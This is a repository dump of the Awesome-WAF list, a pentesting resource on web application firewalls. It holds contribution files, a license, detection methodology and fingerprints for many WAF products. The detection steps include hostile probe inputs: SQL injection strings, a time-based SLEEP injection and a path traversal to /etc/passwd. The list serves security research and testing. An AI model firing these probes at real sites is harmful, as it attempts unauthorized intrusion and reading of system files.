Repository: 0xInfection/Awesome-WAF Branch: master Commit: 8cdeddb29095 Files: 7 Total size: 213.7 KB Directory structure: gitextract_qiof5t2g/ ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── others/ │ ├── README.md │ └── obfu.py └── papers/ └── Beyond SQLi - Obfuscate and Bypass WAFs.txt ================================================ FILE CONTENTS ================================================ ================================================ FILE: CODE_OF_CONDUCT.md ================================================ # Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at theinfecteddrake@gmail.com. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see https://www.contributor-covenant.org/faq ================================================ FILE: CONTRIBUTING.md ================================================ I appreciate and recognize [all contributors](https://github.com/0xInfection/awesome-waf/graphs/contributors). > First of all thank you for even considering of contributing to this awesome list. __"The community just learns from each other"__. ## Table of Contents - [Contribution guidelines](#contribution-guidelines) - [Quality Standard](#quality-standard) - [Adding to this list](#adding-to-this-list) - [Adding something to an awesome list](#adding-something-to-an-awesome-list) - [Updating your Pull Request](#updating-your-pull-request) ## Contribution Guidelines __Your pull request/commit message will be a tweet, please keep that in mind.__ :) - **To add to the list:** Submit a pull request. - **To remove from the list:** Submit a pull request. - Want to change something: Submit a pull request. - Want to try something else: Submit a pull request. - Don't know what to do: Submit a pull request or open an issue, let me know what's going on. [Awesome-WAF](https://github.com/0xinfection/awesome-waf) is a hand-crafted list for high-quality information about web application firewalls and its resources. Following items are recommended to be kept in mind. - If you are submitting a new fingerprint, include the headers/page source, etc. - Do not include the URL as it may expose the integrity of the site. > I will contact you personally if necessary via email. - Item you're adding should not be duplicate, no redirection (be careful with `http` vs `https`!). - The link should be the name of the slide or project or website. - Description should be clear and concise (read it out loud to be sure). - Description should follow the link, on the same line. - if you want to add more than one link, please don't do all PR on the exact same line, it usually results in conflicts and your PR cannot be automatically merged. Please contribute links to slides/tools you have used or are familiar with. This will help ensure high-quality entries. ## Quality Standard Note that we can help you achieve those standards, just try your best, be brave. We'll guide you to the best of our abilities. To be on the list, it would be *nice* if entries adhere to these quality standards: - Generally useful to the community. - Clearly stating "what is it for": mention the problem it solves. Just try your best, make it clear for the next person. - Solves a real problem (even a small one) - If your PR is a **WIP** (work in progress, not safe for production), mention it. If your PR is not merged, I will tell you why so that you may be able to improve it. ## Contribution Guidelines ### Adding to this List Please ensure your pull request adheres to the following guidelines: - Search previous suggestions before making a new one, as yours may be a duplicate. - Make sure the list is useful before submitting. That implies it has enough content and every item has a good succinct description. - Make an individual pull request for each suggestion. - Use [title-casing](http://titlecapitalization.com) (AP style). - Use the following format: `[List Name](link)` - Link additions should be added to the bottom of the relevant category. - New categories or improvements to the existing categorization are welcome. - Check your spelling and grammar. - Make sure your text editor is set to remove trailing whitespace. - The pull request and commit should have a useful title. - The body of your commit message should contain a link to the repository. Thank you for your contributions! ### Adding something to an Awesome List If you have something awesome to contribute to an awesome list, this is how you do it. You'll need a [GitHub account](https://github.com/join)! 1. Access the awesome list's GitHub page. For example: https://github.com/sindresorhus/awesome 2. Click on the `readme.md` file: ![Step 2 Click on Readme.md](https://cloud.githubusercontent.com/assets/170270/9402920/53a7e3ea-480c-11e5-9d81-aecf64be55eb.png) 3. Now click on the edit icon. ![Step 3 - Click on Edit](https://cloud.githubusercontent.com/assets/170270/9402927/6506af22-480c-11e5-8c18-7ea823530099.png) 4. You can start editing the text of the file in the in-browser editor. Make sure you follow guidelines above. You can use [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown/). ![Step 4 - Edit the file](https://cloud.githubusercontent.com/assets/170270/9402932/7301c3a0-480c-11e5-81f5-7e343b71674f.png) 5. Say why you're proposing the changes, and then click on "Propose file change". ![Step 5 - Propose Changes](https://cloud.githubusercontent.com/assets/170270/9402937/7dd0652a-480c-11e5-9138-bd14244593d5.png) 6. Submit the [pull request](https://help.github.com/articles/using-pull-requests/)! ### Updating your Pull Request Sometimes, a maintainer of an awesome list will ask you to edit your Pull Request before it is included. This is normally due to spelling errors or because your PR didn't match the awesome-* list guidelines. [Here](https://github.com/RichardLitt/knowledge/blob/master/github/amending-a-commit-guide.md) is a write up on how to change a Pull Request, and the different ways you can do that. ================================================ FILE: LICENSE ================================================ Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "{}" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright {yyyy} {name of copyright owner} Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ================================================ FILE: README.md ================================================ # Awesome WAF [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg "Awesome")](https://github.com/0xinfection/awesome-waf) Everything about web application firewalls (WAFs) from a security perspective. 🔥 > > __Foreword:__ This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there.As the saying goes, "the community just learns from each other." ![Main Logo](images/how-wafs-work.png 'How wafs work') __A Concise Definition:__ A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. *(Source: [PCI DSS IS 6.6](https://www.pcisecuritystandards.org/documents/information_supplement_6.6.pdf))* A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it. Feel free to [contribute](CONTRIBUTING.md). ### Contents: - [Introduction](#introduction) - [How WAFs Work](#how-wafs-work) - [Operation Modes](#operation-modes) - [Testing Methodology](#testing-methodology) - [Where To Look](#where-to-look) - [Detection Techniques](#detection-techniques) - [WAF Fingerprints](#waf-fingerprints) - [Evasion Techniques](#evasion-techniques) - [Fuzzing/Bruteforcing](#fuzzingbruteforcing) - [Regex Reversing](#regex-reversing) - [Obfuscation/Encoding](#obfuscation) - [Browser Bugs](#browser-bugs) - [HTTP Header Spoofing](#request-header-spoofing) - [Google Dorks Approach](#google-dorks-approach) - [Known Bypasses](#known-bypasses) - [Awesome Tooling](#awesome-tools) - [Fingerprinting](#fingerprinting) - [Testing](#testing) - [Evasion](#evasion) - [Blogs & Writeups](#blogs-and-writeups) - [Video Presentations](#video-presentations) - [Research Presentations & Papers](#presentations--research-papers) - [Research Papers](#research-papers) - [Presentation Slides](#presentations) - [Licensing & Credits](#credits--license) ## Introduction: ### How WAFs Work: - Using a set of rules to distinguish between normal requests and malicious requests. - Sometimes they use a learning mode to add rules automatically through learning about user behaviour. ### Operation Modes: - __Negative Model (Blacklist based)__ - A blacklisting model uses pre-set signatures to block requests that are clearly malicious. The signatures of WAFs operating in a negative model are specifically crafted to prevent attacks which exploit certain web application vulnerabilities. Blacklisting model web application firewalls are a great choice for web applications exposed to the public internet and are highly effective against major vulnerabilities. Eg. Rule for blocking all `` inputs prevent basic cross-site scripting attacks. - __Positive Model (Whitelist based)__ - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking potential large scale attacks, but will also block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees. - __Mixed/Hybrid Model (Inclusive model)__ - A hybrid security model blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. A good scenario can be when web-application is facing the public internet (use blacklists) while the admin panel needs to be exposed to only a subset of users (use whitelists). ## Testing Methodology: ### Where To Look: - Always look out for common ports that expose that a WAF, namely `80`, `443`, `8000`, `8080` and `8888` ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs. - Some WAFs set their own cookies in requests (e.g. Citrix Netscaler, Yunsuo WAF). - Some associate themselves with separate headers (e.g. Anquanbao WAF, Amazon AWS WAF). - Some often alter headers and jumble characters to confuse attacker (e.g. Netscaler, Big-IP). - Some expose themselves in the `Server` header (e.g. Approach, WTS WAF). - Some WAFs expose themselves in the response content (e.g. DotDefender, Armor, Sitelock). - Other WAFs reply with unusual response codes upon malicious requests (e.g. WebKnight, 360 WAF). ### Detection Techniques: To identify WAFs, we need to (dummy) provoke it. 1. Make a normal GET request from a browser, intercept and record response headers (specifically cookies). 2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included). 3. Make GET requests to random open ports and grab banners which might expose the WAFs identity. 4. On login pages, inject common (easily detectable) payloads like `" or 1 = 1 --`. 5. Inject noisy payloads like `` into search bars, contact forms and other input fields. 6. Attach a dummy `../../../etc/passwd` to a random parameter at end of URL. 7. Append some catchy keywords like `' OR SLEEP(5) OR '` at end of URLs to any random parameter. 8. Make GET requests with outdated protocols like `HTTP/0.9` (`HTTP/0.9` does not support POST type queries). 9. Many a times, the WAF varies the `Server` header upon different types of interactions. 10. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response. > __Tip:__ This method could be easily achieved with tools like [HPing3](http://www.hping.org) or [Scapy](https://scapy.net). 11. Side Channel Attacks - Examine the timing behaviour of the request and response content. > __Tip:__ More details can be found in a [blogpost here](https://0xinfection.github.io/posts/fingerprinting-wafs-side-channel/). ## WAF Fingerprints Wanna fingerprint WAFs? Lets see how. > __NOTE__: This section contains manual WAF detection techniques. You might want to switch over to [next section](#evasion-techniques).
WAF Fingerprints
360
  • Detectability: Easy
  • Detection Methodology:
    • Returns status code 493 upon unusual requests.
    • Blockpage may contain reference to wzws-waf-cgi/ directory.
    • Blocked response page source may contain:
      • Reference to wangshan.360.cn URL.
      • Sorry! Your access has been intercepted because your links may threaten website security. text snippet.
    • Response headers may contain X-Powered-By-360WZB header.
    • Blocked response headers contain unique header WZWS-Ray.
    • Server header may contain value qianxin-waf.
aeSecure
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response content contains aesecure_denied.png image (view source to see).
    • Response headers contain aeSecure-code value.
Airlock
  • Detectability: Moderate/Difficult
  • Detection Methodology:
    • Set-Cookie headers may contain:
      • AL-SESS cookie field name (case insensitive).
      • AL-LB value (case insensitive).
    • Blocked response page contains:
      • Server detected a syntax error in your request text.
      • Check your request and all parameters text snippet.
AlertLogic
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • We are sorry, but the page you are looking for cannot be found text snippet.
      • The page has either been removed, renamed or temporarily unavailable text.
      • 404 Not Found in red letters.
Aliyundun
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains:
      • Sorry, your request has been blocked as it may cause potential threats to the server's security text snippet.
      • Reference to errors.aliyun.com site URL.
    • Blocked response code returned is 405.
Anquanbao
  • Detectability: Easy
  • Detection Methodology:
    • Returns blocked HTTP response code 405 upon malicious requests.
    • Blocked response content may contain /aqb_cc/error/ or hidden_intercept_time.
    • Response headers contain X-Powered-by-Anquanbao header field.
Anyu
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains Sorry! your access has been intercepted by AnYu
    • Blocked response page contains AnYu- the green channel text.
    • Response headers may contain unusual header WZWS-RAY.
Approach
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Approach Web Application Firewall Framework heading.
      • Your IP address has been logged and this information could be used by authorities to track you. warning.
      • Sorry for the inconvenience! keyword.
      • Approach infrastructure team text snippet.
    • Server header has field value set to Approach.
Armor Defense
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains:
      • This request has been blocked by website protection from Armor text.
      • If you manage this domain please create an Armor support ticket snippet.
ArvanCloud
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains ArvanCloud keyword.
ASPA
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains ASPA-WAF keyword.
    • Response contain unique header ASPA-Cache-Status with content HIT or MISS.
ASP.NET Generic
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain X-ASPNET-Version header value.
    • Blocked response page content may contain:
      • This generic 403 error means that the authenticated user is not authorized to use the requested resource.
      • Error Code 0x00000000< keyword.
    • X-Powered-By header has field value set to ASP.NET.
Astra
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Sorry, this is not allowed. in h1.
      • our website protection system has detected an issue with your IP address and wont let you proceed any further text snippet.
      • Reference to www.getastra.com/assets/images/ URL.
    • Response cookies has field value cz_astra_csrf_cookie in response headers.
AWS ELB
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain:
      • AWSALB cookie field value.
      • X-AMZ-ID header.
      • X-AMZ-REQUEST-ID header.
    • Response page may contain:
      • Access Denied in their keyword.
      • Request token ID with length from 20 to 25 between RequestId tag.
    • Server header field contains awselb/2.0 value.
Baidu Yunjiasu
  • Detectability: Moderate
  • Detection Methodology:
    • Server header may contain Yunjiasu-nginx value.
    • Server header may contain Yunjiasu value.
Barikode
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content contains:
      • BARIKODE keyword.
      • Forbidden Access text snippet in h1.
Barracuda
  • Detectability: Moderate
  • Detection Methodology:
    • Response cookies may contain barra_counter_session value.
    • Response headers may contain barracuda_ keyword.
  • Response page contains:
    • You have been blocked heading.
    • You are unable to access this website text.
Bekchy
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response headers contains Bekchy - Access Denied.
    • Blocked response page contains reference to https://bekchy.com/report.
BinarySec
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain:
      • X-BinarySec-Via field.
      • X-BinarySec-NoCache field.
      • Server header contains BinarySec keyword.
BitNinja
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page may contain:
      • Security check by BitNinja text snippet.
      • your IP will be removed from BitNinja.
      • Visitor anti-robot validation text snippet.
      • (You will be challenged by a reCAPTCHA page) text.
BIG-IP ASM
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain BigIP or F5 keyword value.
    • Response header fields may contain X-WA-Info header.
    • Response headers might have jumbled X-Cnection field value.
BlockDos
  • Detectability: Moderate
  • Detection Methodology:
    • Server header contains value BlockDos.net.
Bluedon IST
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains BDWAF field value.
    • Blocked response page contains to Bluedon Web Application Firewall text snippet..
BulletProof Security Pro
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page contains:
      • div with id as bpsMessage text snippet.
      • If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page. text snippet.
CDN NS Application Gateway
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains CdnNsWAF Application Gateway text snippet.
Cerber (WordPress)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • We're sorry, you are not allowed to proceed text snippet.
      • Your request looks suspicious or similar to automated requests from spam posting software warning.
Chaitin Safeline
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains event_id keyword within HTML comments.
ChinaCache
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain Powered-by-ChinaCache field.
Cisco ACE XML Gateway
  • Detectability: Moderate
  • Detection Methodology:
    • Server header has value ACE XML Gateway set.
Cloudbric
  • Detectability: Moderate
  • Detection Methodology:
    • Response content contains:
      • Malicious Code Detected heading.
      • Your request was blocked by Cloudbric text snippet.
      • Reference to https://cloudbric.zendesk.com URL.
      • Cloudbric Help Center text.
      • Page title starting with Cloudbric | ERROR!.
Cloudflare
  • Detectability: Easy
  • Detection Methodology:
    • Response headers might have cf-ray field value.
    • Server header field has value cloudflare.
    • Set-Cookie response headers have __cfuid= cookie field.
    • Page content might have Attention Required! or Cloudflare Ray ID:.
    • Page content may contain DDoS protection by Cloudflareas text.
    • You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.
CloudfloorDNS
  • Detectability: Easy
  • Detection Methodology:
    • Server header field has value CloudfloorDNS WAF.
    • Block-page title might have CloudfloorDNS - Web Application Firewall Error.
    • Page content may contain www.cloudfloordns.com/contact URL as a contact link.
Cloudfront
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains Generated by cloudfront (CloudFront) error upon malicious request.
Comodo cWatch
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains Protected by COMODO WAF value.
CrawlProtect
  • Detectability: Easy
  • Detection Methodology:
    • Response cookies might contain crawlprotect cookie name.
    • Block Page title has CrawlProtect keyword in it.
    • Blocked response content contains value
      This site is protected by CrawlProtect !!! upon malicious request.
Deny-All
  • Detectability: Difficult
  • Detection Methodology:
    • Response content contains value Condition Intercepted.
    • Set-Cookie header contains cookie field sessioncookie.
Distil Web Protection
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain field value X-Distil-CS in all requests.
    • Blocked response page contains:
      • Pardon Our Interruption... heading.
      • You have disabled javascript in your browser. text snippet.
      • Something about your browser made us think that you are a bot. text.
DoSArrest Internet Security
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain field value X-DIS-Request-ID.
    • Server header contains DOSarrest keyword.
DotDefender
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains value
      dotDefender Blocked Your Request.
    • Blocked response headers contain X-dotDefender-denied field value.
DynamicWeb Injection Check
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response headers contain X-403-Status-By field with value dw-inj-check value.
e3Learning Security
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains e3Learning_WAF keyword.
EdgeCast (Verizon)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains value
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
    • Blocked response code returns 400 Bad Request on malicious requests.
Eisoo Cloud
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • /eisoo-firewall-block.css reference.
      • www.eisoo.com URL.
      • © (year) Eisoo Inc. keyword.
    • Server header has field value set to EisooWAF-AZURE/EisooWAF.
Expression Engine
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page returns Invalid URI generally.
    • Blocked response content contains value Invalid GET Request upon malicious GET queries.
    • Blocked POST type queries contain Invalid Data in response content.
F5 ASM
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response content contains warning
      The requested URL was rejected. Please consult with your administrator.
FortiWeb
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain FORTIWAFSID= on malicious requests.
    • Blocked response page contains:
      • Reference to .fgd_icon image icon.
      • Server Unavailable! as heading.
      • Server unavailable. Please visit later. as text.
GoDaddy
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains value
      Access Denied - GoDaddy Website Firewall.
GreyWizard
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains:
      • Grey Wizard as title.
      • Contact the website owner or Grey Wizard text snippet.
      • We've detected attempted attack or non standard traffic from your IP address text snippet.
    • Server header contain greywizard keyword.
Huawei Cloud
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains:
      • Reference to account.hwclouds.com/static/error/images/404img.jpg error image.
      • Reference to www.hwclouds.com URL.
      • Reference to hws_security@{site.tld} e-mail for reporting.
HyperGuard
  • Detectability: Difficult
  • Detection Methodology:
    • Set-Cookie header has cookie field ODSESSION= in response headers.
IBM DataPower
  • Detectability: Difficult
  • Detection Methodology:
    • Response headers contains field value value X-Backside-Transport with value OK or FAIL.
Imperva Incapsula
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Powered By Incapsula text snippet.
      • Incapsula incident ID keyword.
      • _Incapsula_Resource keyword.
      • subject=WAF Block Page keyword.
    • Normal GET request headers contain visid_incap value.
    • Response headers may contain X-Iinfo header field name.
    • Set-Cookie header has cookie field incap_ses and visid_incap.
Imunify360
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain imunify360-webshield keyword.
    • Response page contains:
      • Powered by Imunify360 text snippet.
      • imunify360 preloader if response type is JSON.
    • Blocked response page contains protected by Imunify360 text.
IndusGuard
  • Detectability: Moderate
  • Detection Methodology:
    • Server header contains value IF_WAF.
    • Blocked response content contains warning
      further investigation and remediation with a screenshot of this page.
    • Response headers contain a unique header X-Version.
Instart DX
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain X-Instart-Request-ID unique header.
    • Response headers contain X-Instart-WL unique header fingerprint.
    • Response headers contain X-Instart-Cache unique header fingerprint.
    • Blocked response page contains The requested URL was rejected. Please consult with your administrator. text.
ISA Server
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains:
      • The ISA Server denied the specified Uniform Resource Locator (URL) text snippet.
      • The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. text snippet
Janusec Application Gateway
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page has image displaying JANUSEC name and logo.
    • Blocked response page displays Janusec Application Gateway on malicious requests.
Jiasule
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to static.jiasule.com/static/js/http_error.js URL.
    • Set-Cookie header has cookie field __jsluid= or jsl_trackingin response headers.
    • Server header has jiasule-WAF keywords.
    • Blocked response content has notice-jiasule keyword.
KeyCDN
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains KeyCDN keyword.
KnownSec
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page displays ks-waf-error.png image (view source to see).
KONA Site Defender (Akamai)
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains AkamaiGHost keyword.
LiteSpeed
  • Detectability: Easy
  • Detection Methodology:
    • Server header has value set to LiteSpeed.
    • Response page contains:
      • Proudly powered by LiteSpeed Web Server text.
      • Reference to http://www.litespeedtech.com/error-page
      • Access to resource on this server is denied.
Malcare
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page may contains:
      • Blocked because of Malicious Activities text snippet.
      • Firewall powered by MalCare text snippet.
MissionControl Application Shield
  • Detectability: Easy
  • Detection Methodology:
    • Server header field contains Mission Control Application Shield value.
ModSecurity
  • Detectability: Moderate/Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • This error was generated by Mod_Security text snippet.
      • One or more things in your request were suspicious text snippet.
      • rules of the mod_security module text snippet.
      • mod_security rules triggered text snippet.
      • Reference to /modsecurity-errorpage/ directory.
